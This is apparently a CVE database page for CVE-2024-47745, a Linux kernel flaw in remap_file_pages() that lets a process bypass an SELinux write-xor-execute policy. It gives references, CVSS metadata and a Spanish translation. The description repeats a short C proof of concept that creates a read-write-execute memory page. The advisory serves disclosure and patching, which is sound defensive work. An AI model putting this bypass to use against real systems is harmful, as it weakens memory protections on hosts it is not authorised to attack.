cve-2024-47745
Vulnerability from cvelistv5
Published
2024-10-21 12:14
Modified
2024-12-19 09:27
Severity ?
EPSS score ?
0.01% (0.00396)
Summary
In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]
References
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89Patch
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178Patch
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3Patch
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2Patch
Impacted products
Vendor Product Version
Linux Linux Version: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2
Version: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2
Version: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2
Version: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2
Version: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2
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               value: "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn't contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat > test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret <= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]",
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               url: "https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3",
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            {
               url: "https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2",
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         title: "mm: call the security_mmap_file() LSM hook in remap_file_pages()",
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      assignerShortName: "Linux",
      cveId: "CVE-2024-47745",
      datePublished: "2024-10-21T12:14:12.488Z",
      dateReserved: "2024-09-30T16:00:12.960Z",
      dateUpdated: "2024-12-19T09:27:16.545Z",
      state: "PUBLISHED",
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   dataType: "CVE_RECORD",
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      nvd: "{\"cve\":{\"id\":\"CVE-2024-47745\",\"sourceIdentifier\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"published\":\"2024-10-21T13:15:04.580\",\"lastModified\":\"2024-12-14T21:15:26.217\",\"vulnStatus\":\"Modified\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"In the Linux kernel, the following vulnerability has been resolved:\\n\\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\\n\\nThe remap_file_pages syscall handler calls do_mmap() directly, which\\ndoesn't contain the LSM security check. And if the process has called\\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\\nRW pages, this will actually result in remapping the pages to RWX,\\nbypassing a W^X policy enforced by SELinux.\\n\\nSo we should check prot by security_mmap_file LSM hook in the\\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\\npotentially permits an attacker to bypass a W^X policy enforced by\\nSELinux.\\n\\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\\nAIO and can be found in [1].\\n\\nThe PoC:\\n\\n$ cat > test.c\\n\\nint main(void) {\\n\\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\\n\\tint mfd = syscall(SYS_memfd_create, \\\"test\\\", 0);\\n\\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\\n\\t\\tMAP_SHARED, mfd, 0);\\n\\tunsigned int old = syscall(SYS_personality, 0xffffffff);\\n\\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\\n\\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\\n\\tsyscall(SYS_personality, old);\\n\\t// show the RWX page exists even if W^X policy is enforced\\n\\tint fd = open(\\\"/proc/self/maps\\\", O_RDONLY);\\n\\tunsigned char buf2[1024];\\n\\twhile (1) {\\n\\t\\tint ret = read(fd, buf2, 1024);\\n\\t\\tif (ret <= 0) break;\\n\\t\\twrite(1, buf2, ret);\\n\\t}\\n\\tclose(fd);\\n}\\n\\n$ gcc test.c -o test\\n$ ./test | grep rwx\\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\\n\\n[PM: subject line tweaks]\"},{\"lang\":\"es\",\"value\":\"En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad: mm: llamar al gancho LSM security_mmap_file() en remap_file_pages() El controlador de llamadas al sistema remap_file_pages llama a do_mmap() directamente, que no contiene la comprobación de seguridad LSM. Y si el proceso ha llamado a personality(READ_IMPLIES_EXEC) antes y se llama a remap_file_pages() para páginas RW, esto realmente dará como resultado la reasignación de las páginas a RWX, omitiendo una política W^X aplicada por SELinux. Por lo tanto, deberíamos comprobar prot mediante el gancho LSM security_mmap_file en el controlador de llamadas al sistema remap_file_pages antes de que se llame a do_mmap(). De lo contrario, potencialmente permite que un atacante omita una política W^X aplicada por SELinux. La omisión es similar a CVE-2016-10044, que omite lo mismo a través de AIO y se puede encontrar en [1]. La PoC: $ cat &gt; test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, \\\"test\\\", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // muestra que la página RWX existe incluso si se aplica la política W^X int fd = open(\\\"/proc/self/maps\\\", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret &lt;= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (eliminado) [MP: ajustes en la línea de asunto]\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":7.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":1.8,\"impactScore\":5.9}]},\"weaknesses\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-670\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"6.6.54\",\"matchCriteriaId\":\"C071AD88-76A0-45A5-9C1C-8DA6DBF2084B\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"6.7\",\"versionEndExcluding\":\"6.10.13\",\"matchCriteriaId\":\"CE94BB8D-B0AB-4563-9ED7-A12122B56EBE\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"6.11\",\"versionEndExcluding\":\"6.11.2\",\"matchCriteriaId\":\"AB755D26-97F4-43B6-8604-CD076811E181\"}]}]}],\"references\":[{\"url\":\"https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\"},{\"url\":\"https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]}]}}",
      vulnrichment: {
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         cveMetadata: "{\"cveId\": \"CVE-2024-47745\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2024-12-19T09:27:16.545Z\", \"dateReserved\": \"2024-09-30T16:00:12.960Z\", \"assignerOrgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"datePublished\": \"2024-10-21T12:14:12.488Z\", \"assignerShortName\": \"Linux\"}",
         dataType: "CVE_RECORD",
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}


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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.